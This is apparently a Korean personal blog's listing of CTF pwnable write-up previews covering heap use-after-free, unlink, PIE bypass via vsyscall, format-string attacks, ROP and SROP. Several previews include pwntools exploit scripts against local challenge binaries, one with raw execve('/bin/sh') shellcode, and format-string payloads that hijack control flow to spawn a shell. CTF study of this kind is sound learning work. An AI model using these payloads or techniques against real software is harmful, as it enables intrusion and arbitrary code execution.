본문 바로가기

시스템 해킹/cykor26

chal2-heap uaf heap uaf- 구조가 딱 보아하니malloc->free->mallocUAF 구만! 풀어보니,, 너무 간단!ptr=v0이고, free(ptr)을 하기는 하지만, 다시 v2=malloc(0x14)가 이루어질 때,ptr=v0=v2가 된다.그래서 v2에 scanf를 받을 때! 0x4007d8을 줘서, 마지막에 ptr이 실행될때, scanf받은애가 실행되게 된다! 이때 0x4007d8부분에 system("/bin/sh")부분이 있다! from pwn import *sh=0x4007d8s=process('./chal2')#raw_input()print s.recv(1024)s.send("4196312\n")s.send("\x00\x00")print s.recv(1024)s.interactive()s.close() 2018. 2. 18.
chal1-heap unlink heap unlink문제- 기존에 풀었던 chal1과는 다른 문제!heap문제이고 unlink는 직접 구현되어 있다. heap주소를 출력해줘서 릭 가능하다 힙에 쉘코드를 넣어놓고, puts의 got에 쉘코드의 주소를 넣어주면 된다! 근데, 여기서 문제는 unlink과정에서 주소가 덮어진다는 것이다! 1 prev_size size(0x21) data: 2의 주소 2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소3 prev_size size data: 0 2의 주소 2의 주소를 인자로 받는다! unlink에서!2의 데이터를 v1에(3의 주소)2의 데이터+8을 v2에(1의 주소) [v1+8] 2018. 2. 18.
First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용 First- PIE가 걸려 있다 이 문제는 쉘을 따는게 아니라 플래그를 읽어오는것이고, 플래그 읽어오는 부위가 코드 영역에 있으며, 버퍼 오버플로우로 return address를 원하는 주소로 덮을 수 있지만, 문제는 PIE가 걸려있어서 주소가 랜덤으로 바뀐다는 것이다. vsyscall의 픽스된 주소를 이용할 것이며, 주소가 랜덤으로 바뀌기는 하지만 뒤 12비트는 고정됨을 이용할 것이다! Position Independent Executable 위치독립실행파일->바이너리 전체의 주소가 랜덤 코드 영역의 주소도 바뀐다. But,vsyscall부분의 영역은 주소 고정! 여기에 있는 ret을 사용한다. But,0x400쪽 불러오지 않으면 커널이 잡아낸다! 그니까 0x600409인 ret부분을 바로 불러오는게 .. 2018. 1. 25.
ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기 from pwn import *import time s=process('./ebp')#raw_input()s.send("%134520971c"+"%4$n"+"\x93\xa0\x04\x08"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\n")s.send("%4c"+"%16$n"+"\n") //fgets의 stdin망가뜨려 while문 벗어나기s.interactive()s.close() [김희연] [오전 3:25] 그래서 %4$n하면[김희연] [오전 3:25] 0xffffd148d안에[김희연] [오전 3:25] 들어있는값이[김희연] [오전 3:25] 조작되자나[김희연.. 2018. 1. 23.
what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 %2$x %264$x를 해서 스택주소와 libc주소릭을 한다.fini_array부분은 write권한이 있으므로, 이 부분을 메인으로 고쳐 메인으로 돌린다.fsb를 이용하여 return address부분을 system주소로, return address+8부분을 /bin/sh주소로! from pwn import *import time s=process('./what')#print(s.recv(1024))#raw_input()payload=p32(0x080496dc)payload+="%2$x"payload+="%264$x"payload+="%33927c"payload+="%7$hn"s.send(payload+"\n")a=s.recv(1024)[0x1a:0x2a]libc=int(a[0:8],16)system=l.. 2018. 1. 23.
contact-공백이용해서 ret덮어버리는 문제 이번이 3번째 도전하는 문제였지만, 결국 또 못풀고 답을 봐버렸다ㅜ익스는 매우 간단! 9시간동안 왜 이걸 생각 못헀는지 모르겠다. fsb처럼 보이지만, %와 n을 동시에 쓰지 못하는 문제!그리고, sprintf가 두 번 일어나서, %%를 해야, 두번째 sprintf에서 %가 제대로 박힌다.첫번쨰 sprintf를 이용해서 공백을 이용해서 ret을 덮은거 까지는 생각했으나, 이상하게 1000을 넘는 수가 들어가면이상한 값이 들어갔다!!답을 보니 두번째 sprintf를 이용했다.%1288c(쉘주소)를 하면 1287자리가 공백으로 채워지고, printf("%1288c","%")로 인식!그리고, 그 다음 4바이트에 ret을 덮을 쉘주소가 덮어진다. from pwn import *import times=proces.. 2018. 1. 11.
start_hard-64비트 SROP, 브루트포스 이 문제는 어..려....웠......다.......주어진 것은 read함수 뿐!먼저, 64비트는 int 80이 아닌 syscall을 쓰는 것을 몰랐었다.->이후, syscall을 써야 함을 깨닫긴 했으나,vsyscall에 있는 syscall을 사용하려 했다.->vsyscall은 마치 executable한 것 처럼 보이지만, 내부에서 엄청나게 복잡한 일이 벌어지면서segmentation fault를 띄운다. 실함수 주소가 뒤12비트는 고정됨을 이용! 확률 1/32로 syscall 브루트 포싱!64비트 SROP에서는 execve함수는 rax에 0x3b가 들어가고, rdi에 /bin/sh문자열 주소가 들어가면 된다!from pwn import *import time syscallret=0xffffffffff.. 2018. 1. 9.
scv-64비트, C++, ROP, 카나리릭, libc릭 64비트, C++, ROP, 카나리릭, libc릭- 아주 간단한 카나리릭, libc릭 문제였다.C++형태이고, 64비트 문제라서 조금 생소했다. read를 하고, 입력 받은 것을 출력해주는데, 이때 릭을 했다.카나리릭+libc릭->카나리와 /bin/sh주고, system주소 알아낼 수 있다.+)카나리는 항상 \x00으로 끝난다! 리턴어드레스에는 pop rdi; ret을 넣어준다.64비트에서는 함수 호출규약이 조금 다르다. 스택기반이 아닌 레지스터로! rdi로 들어간다. 그래서 pop rdi; ret;을 이용해서 rdi에 /bin/sh주소를 넣어주고, 그 다음 리턴 어드레스에 system주소를 넣어준다! from pwn import * prdir=0x400ea3 #pop rdi; ret s=process(.. 2018. 1. 6.
enjoy_rop-ROP+SROP SROP+ROP- SROP문제! 문제는 아주 간단하다. sys_read를 매우 길게 받는다.execve를 호출하기 위해서는eax를 11로 만들고, ecx와 edx는 널바이트로 채우고, ebx에는 /bin/sh문자열의 주소가 들어가야 한다.문제에서 스택의 주소를 주기 때문에, read를 받을 때, /bin/sh\x00을 주고 그 주소를 알아낼 수 있다. pop eax라는 가젯이 없으므로, eax는 read로 받아들이는 byte로 바꿔준다.하지만, return address를 덮어야 하므로, 11만큼 read하면 return address를 덮을 수 없다. 따라서, 다시 앞으로 돌리는 작업이 필요하다. 처음에는 /bin/sh만 넣어주고 뒤쪽에 가젯들을 넣어준다음에다시 돌아왔을 때는 read를 이용해 eax를.. 2018. 1. 6.